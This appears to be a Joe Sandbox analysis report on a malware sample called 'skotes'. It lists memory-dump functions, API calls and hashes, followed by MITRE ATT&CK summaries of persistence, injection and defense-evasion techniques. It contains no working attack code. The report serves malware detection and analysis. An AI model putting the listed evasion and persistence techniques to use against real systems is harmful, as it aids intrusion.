Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 09d64b2cae2ed126bde2cb4a0c975f2d493463166ed865bb861bad3e33fee433
Instruction ID: 636037e0b649ab928a507070110d605f3b7aade9d2012a872f9f7109fac1e4b9
Opcode Fuzzy Hash: 09d64b2cae2ed126bde2cb4a0c975f2d493463166ed865bb861bad3e33fee433
Instruction Fuzzy Hash: D9F0F9B1A00654ABC7107B7D9D0371EBB74EF06B60F90035CF4516B3A5DB392A1057D2

Function 053203B9 Relevance: .4, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3361764320.0000000005320000.00000040.00001000.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5320000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a5037e9807d7003efb78ca800eb7820006472507c050454be8cd9089da2091
Instruction ID: d95a0af53fcd6725c07e8fbbe39fc1f0d5baca057b1e0e88dc89cd9d9dd5e1cd
Opcode Fuzzy Hash: 56a5037e9807d7003efb78ca800eb7820006472507c050454be8cd9089da2091
Instruction Fuzzy Hash: CB8102FB14CA31BDB14BC19A2B5CAFB6A6FE5D77307308526F807D6D82E2840A4E5071

Function 05320354 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3361764320.0000000005320000.00000040.00001000.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5320000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 038d81ab30e1e67e0f6528fda47026278e70e8e663cafdbdfc166424ab812e50
Instruction ID: 28100b4b96f1c36404b89a6304fea07e372b437434667a65ea4cb08921d49cfd
Opcode Fuzzy Hash: 038d81ab30e1e67e0f6528fda47026278e70e8e663cafdbdfc166424ab812e50
Instruction Fuzzy Hash: D5F09ABF08C934BE918AD2C2670CABABA7EB1D37303708122F64391C01A1D00A6E6631

Function 05320360 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3361764320.0000000005320000.00000040.00001000.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5320000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d9ba5df1ad5077a2019ee93e7fbedece653c97f8bca5478f2377fd15ed4ba5
Instruction ID: ca84b4719cd76f988f258f749dd7ee6374c4a9cc5beda85d7ea83cd520c49911
Opcode Fuzzy Hash: 15d9ba5df1ad5077a2019ee93e7fbedece653c97f8bca5478f2377fd15ed4ba5
Instruction Fuzzy Hash: 33F05EBF08C931BE918AD2C6670C5B6BA7EB1D77303308133F64391D4191D04A5E6631

Function 0532035D Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3361764320.0000000005320000.00000040.00001000.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5320000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 489deed417b25d9a310f87e53637afcd8738605f99cc219397169c1f1d11cf38
Instruction ID: 528cc6b6261e68fa68f26d5eed7f189ca03120b7a22184b597f193e09a8025f0
Opcode Fuzzy Hash: 489deed417b25d9a310f87e53637afcd8738605f99cc219397169c1f1d11cf38
Instruction Fuzzy Hash: 6DF0E2BF08CA30BF918AD1C6260C9B6BA7EB2D77303308632F74391C01E1900A5E6631

Function 05320372 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3361764320.0000000005320000.00000040.00001000.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5320000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 638216b46256af99797f079e108889a17088beb4f5737356df6b782375f69108
Instruction ID: be4e13a76bb7bec649ad29a0ef098a5dbaba198e6ba3164709fb8eac877d50f1
Opcode Fuzzy Hash: 638216b46256af99797f079e108889a17088beb4f5737356df6b782375f69108
Instruction Fuzzy Hash: 10F082BB08CA34EF928AD6D5560C576BA7EF6D7730330813BF243A1D42D1A04A6DA631

Function 053203A0 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3361764320.0000000005320000.00000040.00001000.00020000.00000000.sdmp, Offset: 05320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5320000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e1c74ca4a1ed079b404620a84414d62d88d9c57a8661c39ffbbe0286d4837af
Instruction ID: 5286909e27d817203e818fb96fa2f9755fac3cc549f4fdea008f40744ca53240
Opcode Fuzzy Hash: 2e1c74ca4a1ed079b404620a84414d62d88d9c57a8661c39ffbbe0286d4837af
Instruction Fuzzy Hash: 88E0867B04DE70EE519AD1D99A0C57AB66EF5D3330335C727F2A380C81D294066E6672

Non-executed Functions

Function 00FFCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00FFCF52,?,?,?,?,00FFCF87,?,?,?,?,?,?,00FFC4FD,?,00000001), ref: 00FFCC03

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: c7589815225ae5ab4040ed4d9c3f98fd94e967a2fa7103eda41ec888e669fc06
Instruction ID: 243ada4dd1d347b2d435c44f3d127aa7291bcb338b9216564aa7315fd4524230
Opcode Fuzzy Hash: c7589815225ae5ab4040ed4d9c3f98fd94e967a2fa7103eda41ec888e669fc06
Instruction Fuzzy Hash: CAD02233E8203C938A252B84FC048BCBB4C9F00B243010021EE0893228CB166C006BE0

Function 0101652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3004a8256567a111dd7d89098b53ac6371df0ea6202655cf92ab92e2f9a337bb
Instruction ID: 3b8c4cfa00359cce363f7b521d2526bf0e44747e339b8673fb203f0dadb76511
Opcode Fuzzy Hash: 3004a8256567a111dd7d89098b53ac6371df0ea6202655cf92ab92e2f9a337bb
Instruction Fuzzy Hash: 5EE0C231111248AFCF26BF18CD0CE8C7B69EF11745F104804FD494623ACB7AEE81CAA0

Function 0101A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: ceba95a865503723139e9528b8ff0acfb3f5cec28873b31268f219adaf8840d9
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 9CE08C72A22268EBCB14DB9CC904ACAFBFCEB49B00B654096F601D3150C2B4DE00C7D0

Function 01014840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 01014877
___except_validate_context_record.LIBVCRUNTIME ref: 0101487F
_ValidateLocalCookies.LIBCMT ref: 01014908
__IsNonwritableInCurrentImage.LIBCMT ref: 01014933
_ValidateLocalCookies.LIBCMT ref: 01014988

Strings

csm, xrefs: 0101491D

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 57e0ec9a9be8fbd8c9de782ad441e35548023e3c70ade19f376e472e839e885f
Instruction ID: e853d5d1258d0b7afa747bb9a1a3644782468049d28da987360a3687a1ed10ab
Opcode Fuzzy Hash: 57e0ec9a9be8fbd8c9de782ad441e35548023e3c70ade19f376e472e839e885f
Instruction Fuzzy Hash: 9951F874A002099BCF10DF6CD880AEE7FF6AF45324F148095E998DB36AD73AD915CB91

Function 00FE2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00FE2F5F
__Mtx_unlock.LIBCPMT ref: 00FE2FCC
__Cnd_broadcast.LIBCPMT ref: 00FE2FE3
__Mtx_unlock.LIBCPMT ref: 00FE30F5
__Mtx_unlock.LIBCPMT ref: 00FE319B

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 3e7238606e597a0703c6f70aaaf74781c513265cb070515865c526776576f1fe
Instruction ID: 6f36245f1cd0ba32ab85f54da9d29e8faa4c17bdd0aa97700fb4d98b6ddf31cc
Opcode Fuzzy Hash: 3e7238606e597a0703c6f70aaaf74781c513265cb070515865c526776576f1fe
Instruction Fuzzy Hash: 7BA1F2B0E012599FDB10DF66CD4876AB7E8FF14324F008169E915D7251EB39EA04EBD1

Function 0101CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0101CC66

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 4df27cde71643020f2d8c7b9b3cc05e0e6421a3469c2b7554b3227e14005790c
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 06B1453294028A9FEB15CF68C9807FEBFE5EF55350F1481AAD881EB249D638DD01CB60

Function 00FFBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00FFBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00FFBBE4
_xtime_get.LIBCPMT ref: 00FFBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00FFBC13

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 960b5fb22d90c40276ad7d6573cbffe2f77a82efb5d3302783cb7ef96eb29760
Instruction ID: 1f99db310c6431e811fd27e214ff70007eaa42ca1c59fa6efbf23b874a6d1608
Opcode Fuzzy Hash: 960b5fb22d90c40276ad7d6573cbffe2f77a82efb5d3302783cb7ef96eb29760
Instruction Fuzzy Hash: 9E212C75E0011DAFDF00EFA4DD819BEB7B9EF48714F500425FA05A72A1DB799D01ABA0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
